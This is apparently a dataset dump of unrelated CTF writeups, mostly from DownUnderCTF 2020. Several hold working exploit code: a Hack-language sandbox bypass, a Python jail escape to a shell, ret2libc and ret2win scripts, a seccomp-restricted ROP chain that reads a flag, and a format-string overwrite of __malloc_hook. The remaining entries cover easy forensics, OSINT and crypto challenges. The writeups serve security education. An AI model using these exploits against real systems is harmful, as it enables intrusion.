text_chunk
stringlengths 151
703k
|
---|
> **Read it on https://github.com/r00tstici/writeups/tree/master/CONFidenceCTF2020/HAHA%20Jail to have access to the images and source code**
# HAHA Jail
Points: 226
Solves: 15
Solved by: drw0if, 0xThorn
## Challenge description
One day I was Hacking some Big Banks, and next morning I woke up here... In a cold, dirty cell. I used my last Philipinian Pesos to dig tunnel but always ended in place where I have stared. Now as we met here, could you help me get away from there? If you do I will give you a flag.
http://hahajail.zajebistyc.tf
(Source provided)
## Solution
### Analysis

The source provided to us contains two files. Let's start by looking at `index.php` and it is immediately obvious that it is not written in php. Doing a bit of research shows that it is hacklang, a PHP dialect, which provides some security enhancements, such as removing the `eval()` function.
This first file is useless: it just creates the main page. `hack.php` is much more interesting. It takes the input provided in the home page and checks with a regex: if the text contains certain special characters (`. $ /`) or some functions followed by brackets (even separated by space) it returns the message `Leave me alone hacker`. Otherwise it saves the sent code in a randomly named file, executes it in hhvm and deletes it. If the execution is successful, the message `[filename] written` is shown, otherwise it shows the error.
### Strategy
We are not told what the goal is, probably we need to read the contents of some file, for example `flag.txt`.
The simplest solution to get output is to return an exception to the script to display the error while avoiding the useless success message.
For example this stript:
```php>function main(): void {throw new \Exception('Hello world');}```
returns this output: `Fatal error: Uncaught exception 'Exception' with message 'Hello world' in /var/www/ea415ae3-2117-49ea-b48f-0dd5695a1980.php:4 Stack trace: #0 (): main() #1 {main}`
### Execution
The first thing to find out is the directory we're in. To do this we used `printcwd` which is not blocked by the regex. Turns out our directory is `/` (root). Interesting files will likely be contained here or in `/var/www`, where all the site files are saved.
To read the contents of a directory you should use `scandir`, but the regex doesn't allow this. Luckily we could use the `glob` function on `/var/www/*` which returns an array that we had to transform into a string in order to show it in the exception output. Finally, `/var/www/*` contains special characters not allowed by the regex but we just encoded it in base64 and decoded it in the script to bypass this limitation.
The final script to do this is:
```php>function main(): void {throw new \Exception(implode(' ', glob(base64_decode('L3Zhci93d3cvKg=='))));}```
which returns this output: `Fatal error: Uncaught exception 'Exception' with message '/var/www/challenge.json /var/www/composer.json /var/www/composer.lock /var/www/deploy /var/www/description.html /var/www/ef003628-ab92-45c7-a6aa-0d39cc5d4a2b.php /var/www/exploit.php /var/www/flag.txt /var/www/for_players /var/www/hh_autoload.json /var/www/libprotobuf.so.10 /var/www/public /var/www/vendor' in /var/www/ef003628-ab92-45c7-a6aa-0d39cc5d4a2b.php:4 Stack trace: #0 (): main() #1 {main}`
There it is, the `/var/www/flag.txt` file. Now comes the tricky part: reading the content. All functions that allow you to read a file are blocked by the regex. We needed a good idea.
After many experiments it became clear that the regex did not find a match if the name of one of those functions was contained in the text, but only if it was followed by an opening parenthesis.
Here's the idea: rename or call the function through a string. We tried with `rename-function` but we got `undefined function rename_function` and hacklang's alternative `fb_rename_function` was disabled. Plan B: call the function through a string with `call_user_func`.
We won! This script:
```php>function main(): void {throw new \Exception(call_user_func("file_get_contents", base64_decode("L3Zhci93d3cvZmxhZy50eHQ="))); // /var/www/flag.txt is encoded in b64}```
was succesful and returned this output containing the file content (the flag): `Fatal error: Uncaught exception 'Exception' with message 'p4{h4x0riN9_7H3_H4ck} ' in /var/www/13b8b6de-c5fe-4bb8-9ed8-92290c718c75.php:4 Stack trace: #0 (): main() #1 {main}`.
It worked because file_get_contents was followed by quotes and not an opening parenthesis. |
### In this challenge i just do analize to file .sav on Snapshot directory

### and i do strings to that file, and i got half the flag

### so i open it with vim, and trying to search that string

> DUCTF{w3_R_4bs0lute_pr3d4t0rs}
[my blog](http://medium.com/@InersIn) |
# Bad man:osint:200ptsWe have recently received reports about a hacker who goes by the alias und3rm4t3r. He has been threatening innocent people for money and must be stopped. Help us find him and get us the flag.
# Solutionund3rm4t3rを調査するらしい。 Google検索では何も出ないが、Twitterで検索すると[ヒット](https://twitter.com/und3rm4t3r)する。 ツイートに怪しいものはない。 王道の[Web Archive](http://web.archive.org/)を使うと以下がヒットした。  flagが書かれている。
## DUCTF{w4y_b4ck_1n_t1m3_w3_g0} |
Just open the file on Audacity and change from WaveForm to Spectrogram.
Now you may see yellowish in the middle just stretch the spectrogram and you'll get the flag |
# Welcome!
Category: Misc
Challenge Description:

Once you ssh into the host you only receive this messages filling the terminal with no way to interact. But after looking at the messages the flag is sort of printed at some point.

We can grep it from the output using this command and get the flag.
```shssh [email protected] -p 30301 | strings | grep -i 'DUCTF{'```

|
After mildly overengeneering the previous challenge, Pyjail ATricks, I had already created some extremely shoddy code that let me encode arbitrary text to the requirements of the filter.
As a first step, it substituted a hardcoded list of numbers and a database of `__doc__` strings from the interpreter:
```STRING_SOURCES = ( ("().__doc__", "tuple() -> empty tuple\ntuple(iterable) -> tuple initialized from iterable's items\n\nIf the argument is a tuple, the return value is the same object."), ("''.__doc__", "str(object='') -> str\nstr(bytes_or_buffer[, encoding[, errors]]) -> str\n\nCreate a new string object from the given object. If encoding or\nerrors is specified, then the object must expose a data buffer\nthat will be decoded using the given encoding and error handler.\nOtherwise, returns the result of object.__str__() (if defined)\nor repr(object).\nencoding defaults to sys.getdefaultencoding().\nerrors defaults to 'strict'."),)[...]```
These also revealed the python version as python 3.6, which will be relevant later on.
As a fallback, for this challenge I added `eval` of the hex escape in a string:
```hex_escape = f"'\\x{ord(letter):x}'"escaped = f"eval({escape_text(hex_escape)})"```
Armed with this, I could iterate quickly. I first implemented a quick loop thatwould let me type lines directly into the challenge instead of needing clumsycopy pasting. My first experiments were around trying to get importing to work, which wereunsuccessful because it appeared `__builtins__`, which `__import__` is part of,was horribly broken.
Earlier, lacking a `dir()` or `globals()` function, I had simply tried all globalvariables available on my local python. This left me with the following list:
``` repr print str __loader__ __spec__ all bin eval```
Of special interest to me was `__loader__`, which is part of python's importmachinery. I quickly discovered the `SourceFileLoader.get_data(fname)` method,which is a wrapper around file reading, as well as it's sibling`set_data(fname, data)`. I used the former to explore and download the sourcecode of the PyJail, which revealed that the `__builtin__` object was actuallybeing globally overwritten, instead of just not being passed to `exec` aspython sandbox challenges would usually do:
```def make_secure(): original = __builtins__.__dict__.copy() __builtins__.__dict__.clear() safe_builtins = ["dir", "repr", "str", "print", "eval", "input", "any", "exec", "all", "Exception"] for func in safe_builtins: __builtins__.__dict__[func] = original[func]```
Obtaining this also let me iterate even more quickly by running the programlocally without any of the checks (and also working repl history!).
I eventually figured out that to progress, I'd probably need either `listdir()`or `system()`, for which I'd need the `os` module. Alternatively, `sys` wouldlikely allow me to rebuild `__builtins__` or importing.
Checking the source code for `__loader__`, which surely must use `os` or `sys`somehow, I discovered special variables named `_os` and `_sys` that `importlib` uses to boostrap itself, which I couldaccess though the `SourceFileLoader.get_data.__globals__` map. One quick `_os.system("sh")` `ls`and `cat [RANDOM NAME].txt` later the flag was mine.
|
Towards the end of the `assembler dump` in GDB, you see:
``` 0x0000555555555236 <+241>: call 0x555555555030 <puts@plt> 0x000055555555523b <+246>: mov eax,0x0 0x0000555555555240 <+251>: mov rbx,QWORD PTR [rbp-0x8] 0x0000555555555244 <+255>: leave 0x0000555555555245 <+256>: ret ```
Set a breakpoint at this `puts` and run the program.
```b *0x0000555555555236r```
Notice the items on the stack
```0000| 0x7fffffffda30 ("DUCTF{d1d_You_Just_ltrace_296faa2990acbc36}}")0008| 0x7fffffffda38 ("d_You_Just_ltrace_296faa2990acbc36}}")0016| 0x7fffffffda40 ("st_ltrace_296faa2990acbc36}}")0024| 0x7fffffffda48 ("e_296faa2990acbc36}}")0032| 0x7fffffffda50 ("2990acbc36}}")0040| 0x7fffffffda58 --> 0x7d7d3633 ('36}}')0048| 0x7fffffffda60 --> 0xf0b5ff 0056| 0x7fffffffda68 --> 0xc2 ```
You got the flag!
```DUCTF{d1d_You_Just_ltrace_296faa2990acbc36}```
> Alternatively, you could just execute `ltrace` and read the bytes, wrap the string with `DUCTF{}` |
tldr;- this is based on biased nonce attacks on ECDSA https://eprint.iacr.org/2019/023.pdf- the signature scheme is essentially ECDSA, except slightly different- there is a bias in both the LSB and the MSB- find the hidden number problem instance and solve with LLL- recover the private key, sign the auth message, and win!
[DUCTF GitHub](https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/crypto/impeccable)
[writeup](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#impeccable) |
# Return to what's revenge__Category__: Pwn __Points__: 442
> My friends kept making fun of me, so I hardened my program even further! > The flag is located at /chal/flag.txt> > `nc chal.duc.tf 30006`>> Attachement: [return-to-whats-revenge](./return-to-whats-revenge)
### Challenge OverviewThis challenge was an extension of [Return to What](https://ctftime.org/task/13024), where you had to exploit a buffer-overflow with ROP to spawn a shell. Here is the core function of the binary: 
The only difference was that the new binary had a function named `sandbox()` which installed a BPF-program to create a whitelist of syscalls.
```cvoid sandbox(void)
{ sock_fprog prog; sock_filter filter [25]; bpf_labels lab; filter[0].code = 32; filter[0].jt = '\0'; filter[0].jf = '\0'; filter[0].k = 4; [...] filter[23].code = 6; filter[23].jt = '\0'; filter[23].jf = '\0'; filter[23].k = 2147418112; filter[24].code = 6; filter[24].jt = '\0'; filter[24].jf = '\0'; filter[24].k = 0; bpf_resolve_jumps(&lab,filter,25); prog.len = 25; prog.filter = filter; prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); prctl(PR_SET_SECCOMP,2,&prog;; return;}```
The BPF-code did something like this:```pythonif dst in [15, 231, 60, 2, 0, 1, 12, 9, 10, 3]: return SECCOMP_RET_ALLOWelse: return SECCOMP_RET_KILL_THREAD```where `dst` holds the value of the system-call. This meant that only the following system-calls were allowed:- sigreturn- exit_group- exit- read- write- open- close- brk- mmap- mprotect
### Exploit OverviewFirst we had to leak some libc-pointers in order to get the correct libc-version. This could be done with a ROP-chain that calls `puts()` on some.got entries. I went with `setvbuf`, `puts` and `gets` and got:```[*] setvbuf @ 0x7ff16e2742f0[*] puts @ 0x7ff16e2739c0[*] gets @ 0x7ff16e2730b0```Entering the offsets into a [libc-database](https://libc.rip) yieldedlibc6_2.27-3ubuntu1_amd64.
Now that everything is set up we can come to the actual ROP-chains.I used two ROP-chains, one for leaking libc-addresses and stack-pivoting and one to perform the actual syscalls. The first ROP-chain looked like this...```pythonconn.sendline(flat([ b"A" * 56, GADGETS["pop rdi; ret"], p64(return_to_whats_revenge.got["setvbuf"]), p64(return_to_whats_revenge.plt["puts"]), GADGETS["pop rdi; ret"], p64(return_to_whats_revenge.got["puts"]), p64(return_to_whats_revenge.plt["puts"]), GADGETS["pop rdi; ret"], p64(return_to_whats_revenge.got["gets"]), p64(return_to_whats_revenge.plt["puts"]), GADGETS["pop rdi; ret"], p64(new_stack), p64(return_to_whats_revenge.plt["gets"]), GADGETS["pop rsp; pop r13; pop r14; pop r15; ret"], p64(new_stack)]))```... leaking the three .got entries like above, writing a newROP-chain to `new_stack` which is directly after the .bss-section(0x404050) and then doing a stack-pivot via `pop rsp` into that area. We can utilize the area behind .bss because the OS always allocates so-called _pages_of memory, which are 4096 bytes in size. The .bss-section however takes up only 48 bytes leaving 4096 - 48 bytes allocated but unused. Enough room for small - medium sized ROP-chains.
The second ROP-chain looked like this:```pythonconn.sendline(flat([ b"/chal/flag.txt".ljust(24, b"\x00"), GADGETS["ret"] * 5, # open("/chal/flag.txt", 0, 0) = 3 GADGETS["pop rdi; ret"], p64(new_stack), GADGETS["pop rsi; pop r15; ret"], p64(0), p64(0), LIBC_GADGETS["pop rdx; ret"], p64(0), LIBC_GADGETS["pop rax; ret"], p64(2), LIBC_GADGETS["syscall; ret"], # read(3, new_stack, 64) LIBC_GADGETS["pop rax; ret"], p64(0), GADGETS["pop rdi; ret"], p64(3), GADGETS["pop rsi; pop r15; ret"], p64(new_stack), p64(0), LIBC_GADGETS["pop rdx; ret"], p64(64), LIBC_GADGETS["syscall; ret"], # write(1, new_stack, 64) LIBC_GADGETS["pop rax; ret"], p64(1), GADGETS["pop rdi; ret"], p64(1), GADGETS["pop rsi; pop r15; ret"], p64(new_stack), p64(0), LIBC_GADGETS["pop rdx; ret"], p64(64), LIBC_GADGETS["syscall; ret"]]))```The first 24 bytes will go into `r13`, `r14` and `r15` (from the firstROP-chain) and the 5 `ret`-gadgets will fill the first 64 bytes of thenew stack. After that we do an `open()`+`read()`+`write()` in theusual manner. The buffer used for reading and writing are the first64 bytes of the new stack.
### FlagDUCTF{secc0mp_noT_$tronk_eno0Gh!!@} |
Clearly, the flag is `IAJBO{ndldie_al_aqk_jjrnsxee}`.
We know, it is supposed to start with `DUCTF`. If you calculate the difference between the ASCII values of `DUCTF` and `IAJBO`, you get:
```5,6,7,8,9...```
The shift offset increments by 1.
```pytext = "IAJBO{ndldie_al_aqk_jjrnsxee}"
offset = ord('I') - ord('D')
for i in text.lower(): if not i.isalpha(): print(i, end = '') else: print(chr((ord(i) - offset - ord('a')) % 26 + ord('a')), end = '') offset += 1```
```DUCTF{crypto_is_fun_kjqlptzy}``` |
# Return to what:pwn:200ptsThis will show my friends! nc chal.duc.tf 30003 Attached files: - return-to-what (sha256: a679b33db34f15ce27ae89f63453c332ca7d7da66b24f6ae5126066976a5170b)
[return-to-what](return-to-what)
# Solutionreturn-to-whatなので、おそらくlibcへ飛ばしてやれば良い。 pwntoolsがすべてやってくれる。 ret2libcのテンプレを使う。 ```python:hack.pyfrom pwn import *
elf = ELF('./return-to-what')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')io = remote('chal.duc.tf', 30003)#io = process(elf.path)rop = ROP(elf)
puts_plt = elf.plt['puts']main = elf.symbols['main']libc_start_main = elf.symbols['__libc_start_main']pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]ret = (rop.find_gadget(['ret']))[0]
log.info("puts@plt: " + hex(puts_plt))log.info("__libc_start_main: " + hex(libc_start_main))log.info("pop rdi gadget: " + hex(pop_rdi))
base = b'A' * 56print(io.recvline())print(io.recvline())payload = base + p64(pop_rdi) + p64(libc_start_main) + p64(puts_plt) + p64(main)io.sendline(payload)recieved = io.recvline().strip()print(recieved)print(io.recvline())
leak = u64(recieved.ljust(8, b'\x00'))log.info("Leaked libc address, __libc_start_main: %s" % hex(leak))libc.address = leak - libc.sym["__libc_start_main"]log.info("Address of libc %s " % hex(libc.address))
binsh = next(libc.search(b'/bin/sh'))system = libc.sym['system']
log.info("/bin/sh %s " % hex(binsh))log.info("system %s " % hex(system))
payload = base + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)io.sendline(payload)io.interactive()```実行する。 ```bash$ lshack.py return-to-what$ python hack.py[*] '/return-to-what' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to chal.duc.tf on port 30003: Done[*] Loaded 14 cached gadgets for './return-to-what'[*] puts@plt: 0x40102c[*] __libc_start_main: 0x403ff0[*] pop rdi gadget: 0x40122bb"Today, we'll have a lesson in returns.\n"b'Where would you like to return to?\n'b'\xb0J\xf8LM\x7f'b"Today, we'll have a lesson in returns.\n"[*] Leaked libc address, __libc_start_main: 0x7f4d4cf84ab0[*] Address of libc 0x7f4d4cf63000[*] /bin/sh 0x7f4d4d116e9a[*] system 0x7f4d4cfb2440[*] Switching to interactive modeWhere would you like to return to?$ lsflag.txtreturn-to-what$ cat flag.txtDUCTF{ret_pUts_ret_main_ret_where???}```flag.txt内にflagが書かれていた。
## DUCTF{ret_pUts_ret_main_ret_where???} |
# Shell this!
If you have not already, follow us on Twitter for updates and content! [@RagnarSecurity](https://twitter.com/ragnarsecurity)
This is a beginner level challenge. Since this is a beginner level challenge, I will recommend a couple things to people new to pwn CTF challenges:
- Get gdb-peda - Get pwntools- Practice Practice Practice!- [Learn Here](https://github.com/RPISEC/MBE): This is a crash course of binary exploitation from RPI.
How to solve:
## Step 1 - Be a Reverse Engineer!
We first need to figure out what the program is doing. Luckily we are given source code.
```c#include <stdio.h>#include <unistd.h>
__attribute__((constructor))void setup() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0);}
void get_shell() { execve("/bin/sh", NULL, NULL);}
void vuln() { char name[40];
printf("Please tell me your name: "); gets(name);}
int main(void) { printf("Welcome! Can you figure out how to get this program to give you a shell?\n"); vuln(); printf("Unfortunately, you did not win. Please try again another time!\n");}```
Obviously the exploit is in `vuln`, and it is a buffer overflow. The other interesting thing is we have a get_shell. This means we can create a ret2text exploit.
How to craft our exploit.
- Fill the buffer, NOPS, RBP, and VULN's RET with whatever character you desire. - Fill main's ret with `get_shell`- Shell!
```pyfrom pwn import *
elf = ELF('./shellthis')p = remote("chal.duc.tf", 30002)
junk = b'A'*56rop = ROP(elf)rop.call(elf.symbols['get_shell'])
payload = junk+rop.chain()
p.recvuntil("Please tell me your name: ")p.sendline(payload)p.interactive() ``` |
---layout: posttitle: "DownUnderCTF - Pwn challenges"subtitle: "Write-Up"date: 2020-09-20 author: "D4mianwayne"tag: pwn, roppy, seccomp. ret2libccategory: CTF writeup---
I played this CTF mainly because I was chilling out and wanted to try out some challenges from the CTF and since `Faith` was the author of some challenges I wanted to try those out. I managed to do the following challenges:-
# Shell This
We were given the source code and the binary attached, this was simple ret2win attack, since the only protection the binary had was `NX Enabled` which means that no shellcode stuff, although we had a function named `get_shell` which does `execve("/bin/sh", 0, 0)`.
### Finding offset
Usually I had to go with gef's `pattern create` or pwntools's `cyclic` but using radare2:-
```r[0x004005a0]> pdf @sym.vuln ; CALL XREF from main @ 0x400729┌ 45: sym.vuln ();│ ; var char *s @ rbp-0x30│ 0x004006e7 55 push rbp ; shellthis.c:14│ 0x004006e8 4889e5 mov rbp, rsp│ 0x004006eb 4883ec30 sub rsp, 0x30
-- snip --```
Since the local variable which is taking our input is of size `rbp - 0x30`, we can then add 8 bytes more to it to get the offset to RIP.
> When the number of local variables would be more than 1, use `pattern create` from gef.
Here's the exploit:-
```pyfrom roppy import *
p = remote("chal.duc.tf", 30002)elf = ELF("shellthis")
payload = b"A"*56payload += p64(elf.function("get_shell"))
p.sendlineafter(": ", payload)p.interactive()```
Running the exploit:-
```r1 [01:01:26] vagrant@oracle(oracle) DUCTF> python3 shellthis.py [+] Opening connection to chal.duc.tf on port 30002: Done[*] Analyzing /home/vagrant/CTFs/DUCTF/shellthis[*] Switching to interactive mode$ cat flag.txtDUCTF{h0w_d1d_you_c4LL_That_funCT10n?!?!?}$ [*] Interrupted[*] Closed connection to chal.duc.tf port 30002```
# return-to-what
This was also a simple ret2libc attack with the remote system being Ubuntu 18.04 which means there's a stack aligment issue, finding the offset was easy. since binary had `NO PIE` we can leak the GOT address of the `puts` then calculate the LIBC's base address and then write a ROP chain which do `system("/bin/sh")`.
```pyfrom roppy import *p = remote("chal.duc.tf", 30003)
context.arch = "amd64"elf = ELF("return-to-what")libc = ELF("libc6_2.27-3ubuntu1_amd64.so")
pop_rdi = 0x000000000040122b
payload = b"A"*56
# Leak puts by doing `puts(puts@got)`
payload += p64(pop_rdi)payload += p64(elf.got("puts"))payload += p64(elf.plt("puts"))
# Calling vuln again
payload += p64(elf.function("vuln"))
p.sendlineafter("?\n", payload)
# Recieving the leaked address and parsing it
leak = u64(p.recv(6).ljust(8, b"\x00"))log.info("LEAK: 0x%x" %(leak))
libc.address = leak - libc.function("puts")
payload = b"A"*56
# Calling the `system("/bin/sh")`payload += p64(0x0000000000401016) # ret;payload += p64(pop_rdi)payload += p64(libc.search(b"/bin/sh\x00"))payload += p64(libc.function('system'))
p.sendlineafter("?\n", payload)p.interactive()```
Running the exploit:-```r0 [01:04:58] vagrant@oracle(oracle) DUCTF> python3 return-to-what.py [+] Opening connection to chal.duc.tf on port 30003: Done[*] Analyzing /home/vagrant/CTFs/DUCTF/return-to-what[*] Analyzing /home/vagrant/CTFs/DUCTF/libc6_2.27-3ubuntu1_amd64.so[*] LEAK: 0x7fc2c21d19c0[*] Switching to interactive mode$ cat flag.txtDUCTF{ret_pUts_ret_main_ret_where???}$ [*] Interrupted[*] Closed connection to chal.duc.tf port 30003```
> Alternatively, for the next ROP chain you can do `payload = b"A"*56 + one_gadget` where `one_gadget` could be `one_gadget = libc.address + 0x4f2c5`
# My First Echo Server
As the name implies, it is something related to format string, since it has all the protections enabled and we can invoke the format string vulnerability 3 times, we have to be careful, I divided all 3 into different step:-
```r| 0x00000834 c745ac000000. mov dword [var_54h], 0| ,=< 0x0000083b eb2d jmp 0x86a| | ; CODE XREF from main @ 0x86e| .--> 0x0000083d 488b15dc0720. mov rdx, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5| :| ; [0x201020:8]=0 ; FILE *stream| :| 0x00000844 488d45b0 lea rax, qword [format]| :| 0x00000848 be40000000 mov esi, 0x40 ; segment.PHDR ; int size| :| 0x0000084d 4889c7 mov rdi, rax ; char *s| :| 0x00000850 e84bfeffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)| :| 0x00000855 488d45b0 lea rax, qword [format]| :| 0x00000859 4889c7 mov rdi, rax ; const char *format| :| 0x0000085c b800000000 mov eax, 0| :| 0x00000861 e82afeffff call sym.imp.printf ; int printf(const char *format)| :| 0x00000866 8345ac01 add dword [var_54h], 1| :| ; CODE XREF from main @ 0x83b| :`-> 0x0000086a 837dac02 cmp dword [var_54h], 2| `==< 0x0000086e 7ecd jle 0x83d
```
Since the `var_54h` is the loop counter you can it is being compared to the value `2` and being incremented eveytime after the `printf` is being called, so we have to craft the payload carefully.
* 1: 1st counter we will leak the `libc_start_main + 231` off the stack.* 2: With LIBC address in hand. we overwrite the `__malloc_hook` in LIBC since it resides in `r/w` region of the LIBC we can overwrite.* 3: Call `__malloc_hook` by giving `%66000c` this happens because `printf` calls `malloc` when there's a large number of charcaters to print, it has to allocate memory, eventually calling `__malloc_hook`.
Here's the exploit:-
```pyfrom roppy import *
elf = ELF("echos")libc = ELF("libc6_2.27-3ubuntu1_amd64.so")p = remote('chal.duc.tf', 30001)
def send(payload): p.sendline(payload)
send("%18$p-%19$p")leaks = p.recvline().split(b"-")leak = int(leaks[0], 16)log.info("LEAK: 0x%x" %(leak))
elf.address = leak - 0x890log.info("ELF: 0x%x" %(elf.address))leak = int(leaks[1], 16)log.info("LEAK: 0x%x" %(leak))
libc.address = leak - libc.function("__libc_start_main") - 231log.info("LIBC: 0x%x" %(libc.address))one_gadget = libc.address + 0x4f322malloc_hook = libc.symbol("__malloc_hook")
payload = fmtstr64(8, {malloc_hook: one_gadget})send(payload)send("%66000c")p.interactive()```Running the exploit:-```r0 [01:27:53] vagrant@oracle(oracle) DUCTF> python3 echos.py [*] Analyzing /home/vagrant/CTFs/DUCTF/echos[*] Analyzing /home/vagrant/CTFs/DUCTF/libc6_2.27-3ubuntu1_amd64.so[+] Opening connection to chal.duc.tf on port 30001: Done[*] LEAK: 0x55c50eb9a890[*] ELF: 0x55c50eb9a000[*] LEAK: 0x7f17a35d8b97[*] LIBC: 0x7f17a35b7000[!] Can't avoid null byte at address 0x7f17a39a2c30[!] Can't avoid null byte at address 0x7f17a39a2c32[!] Payload contains NULL bytes.[*] Switching to interactive mode
-- snip --
$ cat flag.txtDUCTF{D@N6340U$_AF_F0RMAT_STTR1NG$}$ [*] Interrupted[*] Closed connection to chal.duc.tf port 30001```
# Return-to-what revenge
This was also a ret2libc attack but the catch was the seccomp rules, the only allowed syscalls were `read`, `write`. `open` and since the location of the flag was specified, we only had one way, craft a syscall ropchain to read the flag via the allowed syscalls.
```rd4mian@oracle:~/CTFs/DCTF$ seccomp-tools dump ./return-to-what-revenge line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022 0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024 0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0024: 0x06 0x00 0x00 0x00000000 return KILL```
Okay, so it is not something very trivial, at this point I really wanted roppy to have some ROP chain module but that is on it's way, so let's the chain ourselves:-
First, we need to leak the LIBC attack, we can do that ourselves just like we did in `return-to-what`:-
```pyfrom roppy import *
p = remote("chal.duc.tf", 30006)
elf = ELF("return-to-what-revenge")libc = ELF("libc6_2.27-3ubuntu1_amd64.so")pop_rdi = 0x00000000004019dbflag_location = elf.section(".bss") + 0x400flag = elf.section(".bss") + 0x200```
Now, we need to leak the LIBC:-```pypayload = b"A"*56payload += p64(pop_rdi)payload += p64(elf.got("puts"))payload += p64(elf.plt("puts"))```
Now the above chain will leak LIBC, we also need to store the flag location to BSS so the address could be used for `open` later, we do `gets(bss)` with following rop chain:-
```pypayload += p64(pop_rdi)payload += p64(flag_location)payload += p64(elf.plt('gets'))```
We call the `vuln` again so we can send ROP chain later:-
```pypayload += p64(elf.function("vuln"))p.sendlineafter("?\n", payload)
# Parse the leaked addressleak = u64(p.recv(6).ljust(8, b"\x00"))log.info("LEAK: 0x%x" %(leak))libc.address = leak - libc.function("puts")```
We need following gadgets to specify the syscall number and pass arguments to functions called:-
```pypop_rdx = libc.address + 0x0000000000001b96pop_rsi = libc.address + 0x0000000000023e6asyscall = libc.address + 0x00000000000d2975pop_rax = libc.address + 0x00000000000439c8
log.info("LIBC: 0x%x" %(libc.address))```
Now, since we get the address of the LIBC, that means we need to give the `/chal/flag.txt` as a location:-```pyp.sendline("/chal/flag.txt")```Now, time to for real deal:-```pypayload = b"A"*56payload += p64(0x401016) # ret; since it is Ubuntu 18.04```
Now, we do `open` syscall with path being the flag location and mode being the `read-only`:-
```py
'''open("/chal/flag.txt", 0);'''payload += p64(pop_rax)payload += p64(0x2)payload += p64(pop_rdi)payload += p64(flag_location)payload += p64(pop_rsi)payload += p64(0)payload += p64(syscall)```Then. we do read syscall, since no file is being opened within the binary the `fd` would be 3.(educated guess)```py'''read(0x3, flag, 0x100);'''payload += p64(pop_rdi)payload += p64(0x3)payload += p64(pop_rsi)payload += p64(flag)payload += p64(pop_rdx)payload += p64(0x100)payload += p64(pop_rax)payload += p64(0x0)payload += p64(syscall)```Then we do write syscall, writing the flag to the stdout:-
```py'''write(1, flag, 0x100);'''payload += p64(pop_rdi)payload += p64(1)payload += p64(pop_rsi)payload += p64(flag)payload += p64(pop_rdx)payload += p64(0x100)payload += p64(pop_rax)payload += p64(0x1)payload += p64(syscall)
p.sendlineafter("?\n", payload)p.interactive()```
Running the exploit:-
```r0 [01:41:15] vagrant@oracle(oracle) DUCTF> python3 return-to-what-revenge.py [+] Opening connection to chal.duc.tf on port 30006: Done[*] Analyzing /home/vagrant/CTFs/DUCTF/return-to-what-revenge[*] Analyzing /home/vagrant/CTFs/DUCTF/libc6_2.27-3ubuntu1_amd64.so[*] LEAK: 0x7f9825f2c9c0[*] LIBC: 0x7f9825eac000[*] Switching to interactive modeDUCTF{secc0mp_noT_$tronk_eno0Gh!!@}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive$ [*] Interrupted[*] Closed connection to chal.duc.tf port 300060 [01:41:24] vagrant@oracle(oracle) DUCTF> ``` |
# Added Protection
If you have not already, follow us on Twitter for updates and content! [@RagnarSecurity](https://twitter.com/ragnarsecurity)
This was a "hard" reverse engineering challenge (it was actually pretty easy to figure it out, even though it was considered hard).
If we run the program, it returns this to STDIN:
```WittsEnd2@ubuntu:[~/Documents/ctf-writeups/downunder-ctf/rev/added_protection]$ ./added_protection size of code: 130Can u find the flag? ```
Nothing particularly useful. Lets open Ghidra and start exploring the contents. It seems like symbols were still present so we could easily go to main.
```Cundefined8 main(void)
{ ushort *puVar1; code *__dest; ulong local_10; fprintf(stderr,"size of code: %zu\n",0x82); local_10 = 0; while (local_10 < 0x41) { puVar1 = (ushort *)(code + local_10 * 2); *puVar1 = *puVar1 ^ 0xbeef; if (*puVar1 < 0x2a) { *puVar1 = *puVar1 - 0x2b; } else { *puVar1 = *puVar1 - 0x2a; } local_10 = local_10 + 1; } __dest = (code *)mmap((void *)0x0,0x82,7,0x22,-1,0); if (__dest == (code *)0xffffffffffffffff) { perror("mmap"); /* WARNING: Subroutine does not return */ exit(1); } memcpy(__dest,code,0x82); (*__dest)(); return 0;}```
